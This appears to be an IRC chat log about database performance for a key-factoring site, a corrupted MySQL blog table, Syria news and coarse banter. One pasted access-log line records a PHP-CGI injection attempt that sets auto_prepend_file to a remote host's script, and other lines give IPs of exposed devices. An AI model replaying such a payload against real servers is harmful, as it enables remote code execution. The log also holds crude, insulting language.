trinque expects to throw away any www he builds by weight 5x over the lifetime
mircea_popescu: what's the stable boy to do ?
trinque: really the right thing to do here is sell a buncha fuckgoats, get asciilifeform rich, hire stable boy
asciilifeform: which is why fixes that retain it, seem like total waste of time to me ( i put a good deal of time into experimenting with db configs the last time we had this thread. and it made 0 measurable difference, for instance. )
trinque: asciilifeform: if stuck on python, which I grant is practical, can't really refuse the customary sins to make it go
a111: Logged on 2017-04-07 06:35 CompanionCube: 'An attacker within range may be able to execute arbitrary code on the Wi-Fi chip'
mircea_popescu: are there any known documented and running cl-anythings more or less the size phuctor'd be ?
mircea_popescu: there is that.
mircea_popescu: open question whether cl would be fast enough. though i know there's some people itching to answer it.
asciilifeform: but turns out, the necessary work is gargantuan.
asciilifeform: the 'do we know it'
asciilifeform: mircea_popescu: not the phuctoring!
asciilifeform: trinque: another problem: i thought of having new submissions go to a queue, instead of main db. but! that would nuke the vey valuable 'paste in an unknown pgp key and know ~immediately~' feature.
Framedragger: (when you query a mat view, data is returned directly from it, without touching the source live table)
Framedragger: mircea_popescu: in materialized view, postgres can persist results of query in table-like form. so it *does* cache them; hence you can't say it's convenience only.
trinque: move the data around
trinque: thing's designed for parallelism yes, but of the same exact data in same spot is a big ask
trinque: and keeps him from reading the same table he's writing
trinque: it's a speedup for someone loading the stats page
asciilifeform: Framedragger: problem is that the cache gotta expire some time.
trinque: it grew beyond this scope the same reason bash did, or anything else that was originally a user interface
Framedragger: btw, i once screwed around with memoization in flask. iirc something can be done here as well, asciilifeform (it may be as trivial as adding a decorator before the function which handles GET request)
trinque: it's a goddamned spreadsheet; you're supposed to compute elsewhere and then fart your results in there so somebody managerial can ask it questions
Framedragger: ...no, lol, the *results* are 'cached', you still regen html (but this is computationally trivial neh)
trinque: however it may be saner to completely divorce the algorithmic part from sql
trinque: these as queue tables for stages of work are also useful
trinque: can cron the "refresh materialized view"
trinque: they are useful for calculating aggregates as I was describing.
asciilifeform: so why then is this not standard? why locks exist at all ?!
asciilifeform: do they create chance of reading liquishit ?
Framedragger: not afaik. these are to do with *reading* only. but trinque may chime in
Framedragger: index-only scans allow to search in a table without 'touching', or 'locking' the actual rows (which may be simultaneously written-to, at the same time)
asciilifeform: do they create risk of data loss ?
asciilifeform: Framedragger: briefly describe what these do ?
Framedragger: asciilifeform: have you tried postgres index-only scans? have you tried materialised views? if not, the "postgres must die" sounds sorta surface-level, imho
mircea_popescu: http://thehill.com/homenews/house/326479-freedom-caucus-member-fires-back-the-swamp-drained-tru does not take you to http://thehill.com/homenews/house/326479-freedom-caucus-member-fires-back-the-swamp-drained-trump
mircea_popescu: asciilifeform re thehill : nah, they are just braindamaged. trilema works by bits, eg, http://trilema.com/2015/a-lunatic-with-a-bloodied-a takes you to article
a111: Logged on 2017-04-07 11:51 Framedragger: olook our friend leah resurfaces again: https://libreboot.org/#open-letter-to-the-free-software-community
asciilifeform: the wikilicks dump?
a111: Logged on 2017-04-07 05:29 mircea_popescu: http://thehill.com/homenews/house/326479-freedom-caucus-member-fires-back-the-swamp-drained-tru lulz
asciilifeform: it would not do to have them all come out at once
asciilifeform: another gotcha is that the process that does the actual crunching is written in c and communicates solely via the db. it spends ~3min a day reading, but then ~all day checking 'do we already have this factor? ' writing it, in short bursts. but each of these bursts must show up in rss.
trinque: on the www
trinque: only way to deal with the nonsense that one "must" respond to allcomers "now"
mircea_popescu: a db write is either insert or update ; finding out things is usually a select. it ~may~ be worthwhile to separate your reads from the writes, because it is technically possible (thopugh i'd hope unlikely) the db is dumb enough to put write locks in for something like "update x on y" even though it should be "select y if z then update x".
trinque: doing all this in the request/response cycle will kill ya eventually
trinque: two thoughts, beyond which a look at the actual thing would be needed. 1) queues and workers, always 2) db acts as your queue, schema reflects the stages of work
asciilifeform: new key entered? must find if we know its mods, any of them, already
mircea_popescu: then ?
mircea_popescu: table got marked crashed, so all you could load would be the comments, sorta funny half-trilema
mircea_popescu: asciilifeform no, i on occasion do multi-row updates. such as (lolz) recently when i made every entry of the 50k items in article db read the same thing.
trinque: can even fire the updates inside the db with triggers, so everything is transactionally accurate
asciilifeform: mircea_popescu: db vacuum is not a sequence of writes for the purpose of subj
asciilifeform: trinque: one of these days you gotta expand on how you did it
asciilifeform: pg also claims to. the knob did 0.
asciilifeform has tried it in the past.
asciilifeform: the use of python for frontend was a mistake. i did it to avoid having to write gpg disasmer from 0, and www liquishit from 0
mircea_popescu: as in, the www worker ?
trinque: there's already a function that renders that page...
asciilifeform: http://btcbase.org/log/2017-04-07#1639647 << in point of fact this is not simple -- right now the thing is wholly reactive -- proggy only runs per request. and is written in a lang having no actual threading...
a111: Logged on 2017-04-07 13:13 Framedragger: yes indeed, however asciilifeform's initial objection (besides other less clear unwillingness) was the requirement for phuctor to show 'live data'. which imho is not necessary.
asciilifeform: http://btcbase.org/log/2017-04-07#1639649 << i would like to static the whole thing, but currently have nfi how to do that while retaining the 'what are all keys with mod M ?' , 'what are all mods with factor F?' , 'search for string S in userids' etc
a111: Logged on 2017-04-07 13:16 mircea_popescu: the problem was that db waits for writes to read iirc.
mircea_popescu: there is that
mircea_popescu: the problem was that db waits for writes to read iirc.
Framedragger: especially as regards *aggregated* stats (the index stats page) - so what if it lags for up to $interval
Framedragger: yes indeed, however asciilifeform's initial objection (besides other less clear unwillingness) was the requirement for phuctor to show 'live data'. which imho is not necessary.
trinque: or we can just wait patiently as phuctor toils for the republic
a111: Logged on 2017-04-06 19:00 asciilifeform: in other noose, phuctor stats now ~unloadable
Framedragger: http://btcbase.org/log/2017-04-06#1639226 << fwiw the siphnos cacher requests index stats page every 30min now, + /phuctored and /dupes once per hour (at different times, not simultaneously). so my guess would be google et al. web crawlers :/
mircea_popescu: a look, they're all "must oust assad".
trinque: maybe erdogan gassed the poar syrians
Framedragger: olook our friend leah resurfaces again: https://libreboot.org/#open-letter-to-the-free-software-community
CompanionCube: 'An attacker within range may be able to execute arbitrary code on the Wi-Fi chip'
mircea_popescu: http://thehill.com/homenews/house/326479-freedom-caucus-member-fires-back-the-swamp-drained-tru lulz
asciilifeform: elsewhere: 'the swamp drained trump, and all is back to normal'
BingoBoingo: Anyways onion is fine model for the cognitive dissonance possessed by typical USer
mircea_popescu: make the country of africa great again!
BingoBoingo: Serious onion theory problem, but sure.
BingoBoingo: Point of firing tomahawks is almsot never about what they do. It is about demonstrating that you go through the motions of doing things.
mircea_popescu: and they were targetted with tomahawks ?
BingoBoingo: Anyways, never though to consider before today that rimfire might be reloadable. The moar you know.
asciilifeform wasn't there , did not see
asciilifeform: presumably this one had machines parked there
mircea_popescu: i might be a little slow on the uptake, but what is tomahawk supposed to do to airstrip ?
mircea_popescu: why's the thing sold as "mit produces nutcase" anyway. 40 yo, what the fuck relation does college have
phf: i thought that's 9mm, but i guess that makes sense. fwiw cheapest round at the range
BingoBoingo: Usually sold by the 500 round "brick"
mircea_popescu: ah lol. i thought for a moment they actually were going for the fortifications there.
mircea_popescu: what's the w again ?
BingoBoingo: ^ China can't win them all
asciilifeform: unfortunately they only work if flown
mircea_popescu: but anyway, there's dark silence from moscow ; seems altogether likely the chinese won this round.
mircea_popescu: trinque well it'll be a little difficult to start another iraq seeing how the ru planes actually work.
BingoBoingo: "Good night and God bless America and the entire world. Thank you." << On the otherhand could be hint of MWGA effort
BingoBoingo: "Unlike the previous administration, President Trump confronted a pivotal moment in Syria and took action, said Sens. John McCain (R-AZ) and Lindsey Graham (R-SC)." << Apparently Trump satisfied the Lich's war boner.
deedbot: http://qntra.net/2017/04/the-dog-has-been-wagged-trump-fires-60-cruise-missiles-into-syrian-airfields-pussy/ << Qntra - The Dog Has Been Wagged: Trump Fires 60 Cruise Missiles Into Syrian Airfield's Pussy
asciilifeform: limits, aha. # of usg battleships sent to the bottom thus far : 0
trinque: still very much open whether he says "alright, I did something" and leaves, or starts another Iraq
BingoBoingo: Not necessarily yet. Dog wagging has long tradition in US politics as way to beat the media up with itself. "Support our troops/missiles" gambit
asciilifeform: '"Assad choked out the lives of helpless men, women and children," President Donald Trump said in remarks from Mar-a-Lago, his family compound in Palm Beach, Florida. "It is in this vital national security interest of the United States to prevent and deter the spread and use of deadly chemical weapons," said Trump...'
BingoBoingo: THE DOG HAS BEEN WAGGED
mircea_popescu: for the record, i was trying to watch a comedy. half hour in i'm like... feh, i wonder what trilema's up to
mircea_popescu: kek wtf is with the trying so hard
mircea_popescu: tons of them, google'd even. https://94.95.217.53/smartdomuspad/modules/system/viewmessages.php?op=manage&id=
asciilifeform: https://94.85.167.67/smartdomuspad/modules/system/externalframe.php << what are these -- i've nfi
asciilifeform: ( the sov chopper used in afghan war, famously , was immune to small arms fire ~except~ for window )
mircea_popescu: except it was a distance the helicopter actually flew at.
mircea_popescu: know from backchannels and the fact that the govt isn't making a point "oh, they had bazooka"
asciilifeform: but from here i cannot currently see through the cam.
asciilifeform: yeah, them
asciilifeform: http://phuctor.nosuchlabs.com/gpgkey/67292F9B4E5202A528710EB964E9DE8072D79EA211065FA83B8414E214207E8F << all of them, i think.
mircea_popescu: (no weddings were bombed, totally not the same as aleppo etc)
mircea_popescu: in other news, http://www.aljazeera.com/indepth/features/2017/04/destroyed-iraq-mosul-civilian-deaths-170405072214906.html
asciilifeform: looks like this brings us up to date re the dupemod champs.
asciilifeform: http://phuctor.nosuchlabs.com/gpgkey/12E33F9E49E155F1A0FC54B92E8D60A589DE15017A5D4FC9B6F1D9E3046E615E << i'd still luvvv to know what these are, 111 modulus dupes, but none seem to ping.
fromloper: fromloper quietly pulls his poncho around himself and quietly retreats into the saguaro darkness, but his eyes are friendly, and he has been grateful for the warmth.
asciilifeform: in other lulz, http://phuctor.nosuchlabs.com/gpgkey/F54008AE3FADA22531547A33562B62FD88ED9B238DF439A7ECD9DE2D1A1D8E2C >> http://www.schmid-telecom.com << all same key.
asciilifeform: in other vintage finds, http://phuctor.nosuchlabs.com/gpgkey/233AA111786036F5FC0A4D9B780E25E18670BAE5AAB7A1A2EDF1F7BB9E1BB338 >> e.g., http://217.91.20.227 >> http://www.itfm.de/BNetz/index.html << 'Das Bürgernetz: Schnelles Internet auch in Ihrem Ort.' << all same key
fromloper: fromloper studies his marshmallow, admiring its gentle bronzing in the crackling fire.
mircea_popescu: not the first is it ?
fromloper: actually, I found sweet rants on clojure, and followed the crumbs.
asciilifeform: in other new lulz, 191.96.249.97 - - [06/Apr/2017:21:12:20 +0000] "GET /cgi-bin/php?-d+allow_url_include%3Don+-d+safe_mode%3Doff+-d+suhosin.simulation%3Don+-d+max_execution_time%3D0+-d+disable_functions%3D\x22\x22+-d+open_basedir%3Dnone+-d+auto_prepend_file%3Dhttp://191.96.249.97/ok.txt+-d+cgi.force_redirect%3D0+-d+cgi.redirect_status_env%3D0+-n HTTP/1.1"
Framedragger: (apparently some couple of russians had a fight and one shot the other over a dispute regarding kant. i can believe that)
trinque: (wherein phf gets mad at me re: that's how set theory works and I scratch at my left stump)
trinque: I by way of a sad life always write the where clause first
trinque: mircea_popescu: the fucking syntax though eh? cut all dicks off all males, then you back it down to particulars!
mircea_popescu: Framedragger i whined at person actually in charge of this who gave me the backup.
Framedragger: mircea_popescu: so you went through every row checking if it has turd at start, and removing that turd? or found binary log to roll back the transaction (which should have aborted and rolled back, something something)
mircea_popescu: even if the noobs are yourself.
mircea_popescu: the moral being that db engineers are made not born, and this is how. so unless you're willing to burn dbs, don't hire noobs to engineer your storage
mircea_popescu: and THEN i interrupted it so it lost its indexes too.
mircea_popescu: and then it crashed because suddenly turning 10s of ks of article into a 3mb turd inflated the db.
mircea_popescu: I UPDATED EVERY SINGLE CONTENT FIELD FOR EVERY ARTICLE TO THE NEW ONE
mircea_popescu: Framedragger i dun think you've grokked the depths of my idiocy
CompanionCube: 'Wakanda is a fictional nation appearing in American comic books published by Marvel Comics.[1] It is the most prominent of several fictional African nations in the Marvel Universe, and it is home to the superhero Black Panther. Wakanda first appeared in Fantastic Four #52 (July 1966), and was created by Stan Lee and Jack Kirby.'
shinohai: Which begs the question, wtf is a Wakanda
shinohai: So I noticed thestringpuller has changed his location on twitter from "La Serenissima" to " Wakanda "
asciilifeform: ( where, one wonders, is the 'surplus sarin for ModerateRebels' page, order form)
shinohai: "We choose not to become involved with N. Korea's ongoing war with the sea" would have been more lulzy
gabriel_laddel_p: Oh, and I learned the price of lispworks - 4.5k
Framedragger: (one internet says "No, it is not always reliable when you have binary blobs. In that case you MUST use the "--hex-blob" flag to get correct results." << untrusted source)
mircea_popescu: UPDATE table SET content field = '(the 2mb content of the post i wanted ADDED goes here)'
Framedragger: mircea_popescu: by text-only i meant the *output*, it can certainly handle binary blobs
CompanionCube: unless you specify the 'plaintext' format
mircea_popescu: normally it'd be all text, but because it got fucked it got filled with crap. which the dumper can't discern from legit stuff.
mircea_popescu: asciilifeform i'm reasonably happy with the format tbh.
mircea_popescu: Framedragger and if i store a jpeg the dumper is supposed to do what, base64 it ?
gabriel_laddel_p: having both text & the js/images/etc prevents lizardhitler from "unhappening" headlines, while ensuring that DOM dumping and other crazy nonsense doesn't have to be implemented.
Framedragger: mircea_popescu: .sql is a set of statements which you can run on db to put it back into the state which produced the .sql in question, no? but, if there's mysql specific convention bullshit tho, i wouldn't know :/
gabriel_laddel_p: asciilifeform: in that conversation I dropped "rich webpage" & "text" archives into the log, which were OK'd, given that word-wrapping was removed.
a111: Logged on 2017-02-14 00:14 mircea_popescu: gabriel_laddel_p if it could detect and wipe the idiotic wrap(80) thing that'd be great.
gabriel_laddel_p: http://btcbase.org/log/2017-04-06#1639114 < I didn't realize that this "sharing" link would open in google drive. Here is a link to the same file that you can open in emacs, curl etc https://raw.githubusercontent.com/gabriel-laddel/masamune/master/slate-star-codex-no-wrap80.txt
mircea_popescu: Framedragger myisamchk'd the extant MYI/MYD pair, got a db file which works but is too large, had mysqldump drop it as a .sql
Framedragger: sed is only supposed to work on text files but hm.. also, one clunky way would be to hexdump whole file into hex.bin, then work with that
mircea_popescu: looks like i got about 40mb of them
mircea_popescu: now then : how do i wipe null chars from file ?
asciilifeform: what's the hexdump look like ?
asciilifeform: mircea_popescu: is it really ^@ or is that just what you get out of the terminal
mircea_popescu: and the mystery starts to unravel : the first 52mb of this file consist of ... one line of ^@
asciilifeform: then hm.
asciilifeform: is something hogging the disk ?
mircea_popescu: i can see the theoretical "benchmarks" online too. the problem is they're bs, "test file generated by seq 100mn". hurr. how about generate a file with lines of random length between 1kb and 1mb, then benchmark it.
Framedragger: http://btcbase.org/log/2017-04-06#1639243 << this doesn't seem right. `tail` should work fine, too (it seeks to end of file and then rewinds, should be superfast on arbitrary sized files)
CompanionCube: mircea_popescu: it seems the feature was introduced in this release: https://git.savannah.gnu.org/cgit/coreutils.git/tree/NEWS#n355
mircea_popescu: and in other lulz : apparently tail -n+x | head -n10 takes 4 times less than tail -nx+1 | head -n10
mircea_popescu: there is no "taking long time"
asciilifeform: also mircea_popescu how didja know that 'dd hanged' rather than merely taking long time
mircea_popescu: anyway, im dumping teh table as a sql and will be wanting to hack it up. but i have no tools with which to identify the CUT HERE spot
asciilifeform: ( any signs thereof in, e.g., dmesg ? )
mircea_popescu: explain this to me. however long it may be, IT STILL STARTS IN THE SAME PLACE.
mircea_popescu: i guess i'm naive to imagine standard tools can do the job of fixing the mess standard tools created huh
mircea_popescu: neither\
asciilifeform: (or 'dd_rescue', they are -- perversely -- separate proggies by separate people, that do ~same thing )
asciilifeform: in other noose, phuctor stats now ~unloadable
shinohai: "obama :: The Messiah for brain-dead Democrats. " <<< Accurate
jhvh1: mircea_popescu: trump :: 1. To have superior power over.2. To surpass or outdo.3. When a person says "trump," you are required to do whatever you just claimed you would do, no matter how exaggerated it was. If you don't do it, you get a [spartan kick] to the chest. [ex:] 1. Bob: The president's word trumps yours, Joe, you homeless piece of shit. When he says something it must be done.2. Joe: Man, I'll trump your ass (5 more messages)
jhvh1: mircea_popescu: obama :: The Messiah for brain-dead Democrats. [ex:] No matter what he says, no matter what he does, they'll worship the great Obama. [/ex] | An acronym standing for One BigAss Mistake,America! [ex:] Q: What was the result of the 2008 election?A: OBAMA [/ex] | Has no real experience, because most of his time as "senator" was spent campaigning for his own election to President. Is praised (10 more messages)
jhvh1: asciilifeform: haskell :: 1 -- A general purpose, polymorphicly typed, lazy functional programming language largely based on lambda calculus. 2 -- A constant source of frustration for those who have been brainwashed by the OO paradigm. [ex:] You: How do I write a 'while' loop with Haskell?Me: You can't, freshman. [/ex] | A town in Northern New Jerse located between Ringwood and Pompton Lakes, smaller district of (5 more messages)
jhvh1: shinohai: Lemon party :: One of the unholy trinity of internet pictures which all must witness to be 'jaded internet users' (tubgirl, goatse, and lemonparty), lemonparty is probably the tamest of the three by just being hardcore old man gay orgy sex. Believe me, the other two are worse. [ex:] *upon seeing lemonparty* OH GOD MY EYES!!! [/ex] | Closly related to the infamous "[tubgirl]" site. If one goes to (6 more messages)
mircea_popescu: trinque i certainly don't see anything wrong with teaching the stupid how to be even stupider until the time they're actually ready to hands and knees.
mircea_popescu: i thought it's obvious ubi is for the incompetent sluts that are "going to college" and the assorted ghetto scum "tryna make it in dis game"
ben_vulpes: "you know i really like this ubi idea; imagine the cambrian explosion of art and culture that would happen if people didn't have to work to eat, right? well imagine if *everything* were free, not just food internet and housing. it's not like we need tax receipts to pay for it, just increase the national debt a little! i doubt it would even come close to the cost of an f35 to make everything free."
a111: Logged on 2017-03-29 21:56 asciilifeform: ( the other funny detail, it certainly ain't ~everyone~ who'd get payola. certainly not dirty kulaks. )
CompanionCube: I don't think that's the idea of UBI
ben_vulpes: "but then from a justice perspective it's just inherently gender inequitable, so i don't know! i just don't know."
ben_vulpes: "so i'm all for maternity and paternity leave, i have kids, it's just fantastic. and i've been thinking about other things that people should get state-sponsored leave for, and like aren't some women struck by totally debilitating menses? they should totally have time off for that."
shinohai: It's the sad part of enjoying any form of culture here too it seems, full of speshul snowflakes and sjw's
ben_vulpes: asciilifeform: well hey the singer i went to see wasn't in stripper mode during the choral performance
trinque: whatever, gay guys will grab titties all the time
asciilifeform: next day ben_vulpes went to a boar hunt, could not resist eating the bacon he brought in a bag himself...
ben_vulpes: i think that i may have been one of like 3 straight doods in the room; high lez factor
ben_vulpes could not refrain from grabbing the pussy with which he arrived
ben_vulpes: relevantly shinohai i was out at this performance of baroque french choral set, chamber music scale, and in between songs (which were very well done), there was much woke angsting about el pussy grabber in chief
gabriel_laddel_p: trinque: ported to lisp at what level? Could you please describe in more detail? Eg, is there a new ebuild format, do you interpret the old one, do you have lisp that translates shell scripts...
gabriel_laddel_p: Framedragger: and for future reference, I read all the logs, everytime.
gabriel_laddel_p: Framedragger: I saw the discussion, and will not be doing a DOM dump because I'm not going to spend any time in the browser internals.
trinque: gabriel_laddel_p: why the FUCK would you spend any time whatsoever on doing it that way?
Framedragger: gabriel_laddel_p: ideally it would also save a full 'rich' version (whole DOM) but without JS, the way archive.is does
Framedragger: mircea_popescu: hm.. okay. wonder why it failed. (i guess in the future consider LONGBLOB for this (and encode/decode as needed), but it wasn't..that large, even.. huh.)
gabriel_laddel_p: asciilifeform: SF. I have a Masamune that will sit on here as a bot, archive all links that show up & git push them to github.
gabriel_laddel_p: Oh, and the archiver will save both the text version & the previously posted rich webpage version with js, images & whatnot.
trinque: looks someday I'll take the longest bath anyone ever took.
gabriel_laddel_p: Framedragger: trinque: I'm interested in ditching the web & eventually x86 as a whole, not somuch in sanitizing my crappy setup.
gabriel_laddel_p: asciilifeform: people have offered, but unless I physically own the boxes, I'm not interested
asciilifeform: didn't somebody finally buy the gabriel_laddel_p box ..?
gabriel_laddel_p: personally, I prefer the wrapping, but w/e
gabriel_laddel_p: mircea_popescu: no wrap(80) for the archiver.
asciilifeform: at no point, interestingly, is there much of any kind of pressure to make a widget that ~actually works~
asciilifeform: pretty lulzy inversion of the usual corporate dynamic, where there are shareholders and they want growing profits; instead there is a printolade supplier, who wants manageable (or -- optimistically -- slowing!) bleed
asciilifeform: idea is that schmuck won't notice when they fail
asciilifeform: the way i currently understand the 'microinverter' nonsense, is that enphase found a further chineseification of the solar scamatron, by replacing the traditional massive dc-ac inverter with a multitude of small chinese turds, made for use in autos
asciilifeform: and the company is on track to make a profit in the second half of 2017. Its employees have worked to significantly cut the cost of producing its signature devices, microinverters that take DC, or direct current, power from solar panels and transform it into AC, or alternating current, power for homes.'
asciilifeform: https://archive.is/k58t9 >> gourmet liquishit, e.g., 'The energy tech company with 350 employees has reported annual losses every year since it went public in 2012, including nearly $67.5 million worth of red ink last year. Since September, it has gone through two rounds of layoffs and raised about $26 million by issuing new stock and bringing in two major investors. Enphase officials say with confidence that a turnaround is underway
shinohai will tweet them the trilema article along with tranny porn when trilema is back online ....
asciilifeform: the miracle of printolade.
mircea_popescu: you (all of you, really) are very well linked since all the trilema mentions and etc. we've built like a coven